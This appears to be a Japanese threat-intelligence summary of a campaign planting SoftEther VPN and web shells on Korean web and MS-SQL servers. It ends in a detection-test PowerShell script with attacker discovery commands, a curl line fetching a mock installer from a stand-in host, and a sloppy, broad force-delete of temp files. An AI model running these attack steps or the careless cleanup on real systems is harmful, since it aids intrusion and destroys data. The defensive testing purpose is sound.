マルウェアキャンペーン、SoftEther VPNを使用する韓国のウェブサーバーを標的に

概要

Larva-26010 脅威アクターは、韓国のWebサーバーとMS-SQLサーバーをターゲットにしてSoftEther VPNを展開しています。侵害されたシステムはVPNサーバーとして再利用され、攻撃者の真のC&Cインフラストラクチャを隠すためにカスケード接続を使用する可能性があります。侵入は通常、Webサーバーの侵害から始まり、その後にウェブシェルとSQLShellsの展開が続きます。

調査

AhnLab セキュリティインテリジェンスセンターは、2026年4月から8月にかけて発生した最近の攻撃活動を特定しました。調査により攻撃シーケンスの変化が明らかになり、最初にWebサーバーが侵害され、その後に発見コマンド、SoftEther VPNのインストール、続いてMS-SQLサーバーへのCLR SqlShell展開を目的とした攻撃が行われました。攻撃者はまた、PowerShellや bitsadmin、および certutil などのツールでペイロードを配信しました。

緩和策

管理者はWebサーバーの脆弱性を調査し、DBMSクエリとWebサービス要求に使用されるすべての入力値を検証する必要があります。アップロードディレクトリ全体で実行権限を制限し、IIS Webサーバーとオペレーティングシステムを完全にパッチ適用しておく必要があります。V3などのアンチウイルスおよびセキュリティ製品も最新の状態に更新してください。

対応

悪意のある活動が検出された場合、影響を受けたWebおよびMS-SQLサーバーは即座に隔離し、水平移動を制限する必要があります。調査者は、WebシェルとSqlShellの展開範囲を特定し、新しく作成されたユーザーアカウントについて不正な 管理者 アカウントを確認すべきです。レジストリ設定として UseLogonCredential も疑わしい変更について調査する必要があります。

## シミュレーション実行

前提条件：テレメトリーおよびベースライン事前検査が通過していること。

根拠：このセクションは、検出ルールをトリガーするために設計された敵対者技術（TTP）の正確な実行について詳説します。コマンドと記述は直接TTPsを反映し、検出ロジックによって期待される正確なテレメトリを生成することを目指しています。抽象的または無関係な例は誤診を招きます。

• 攻撃の物語とコマンド： 敵対者はWeb脆弱性を介して初期アクセスを獲得しました。水平移動を促進し持続的バックドアを確立するため、彼らはローカルネットワークをマッピングし、SoftEther VPNインストーラーをダウンロードする必要があります。攻撃者は ipconfig /all を実行してインターフェースをマッピングし、 whoami を使用して権限を確認し、 curl を使用してリモートのコマンド&コントロール（C2）サーバーからインストーラーを取得します。この特定のシーケンスは、Sigmaルールで定義された正確なコマンドライン文字列に一致させることで「SoftEther VPNインストール」検出ロジックをトリガーするように設計されています。

• 回帰テストスクリプト：

  # シミュレーションスクリプト：SoftEther発見とペイロードダウンロード
  # このスクリプトは、ルールが求めている正確なコマンドを実行します。
  
  Write-Host "[+] 発見フェーズ開始..." -ForegroundColor Cyan
  
  # トリガー selection_command_lines: 'whoami'
  whoami
  
  # トリガー selection_command_lines: 'ipconfig /all'
  ipconfig /all
  
  # トリガー selection_command_lines: 'netstat -ano -p tcp'
  netstat -ano -p tcp
  
  # トリガー selection_command_lines: 'systeminfo'
  systeminfo
  
  Write-Host "[+] ペイロードダウンロードフェーズ開始..." -ForegroundColor Cyan
  
  # トリガー selection_images: 'curl.exe' AND selection_command_lines: 'curl -h'
  # 注意: ダウンロード意図をシミュレートし、ルールのロジック内に収まるために -h を使用します
  curl -h https://example.com/softether_installer.exe
  
  Write-Host "[+] シミュレーション完了。" -ForegroundColor Green

• クリーンアップのコマンド：

  # 実際にはファイルはダウンロードされていませんが、
  # アーティファクトが残らないようにします。
  Remove-Item -Path "$env:TEMP*" -Force -ErrorAction SilentlyContinue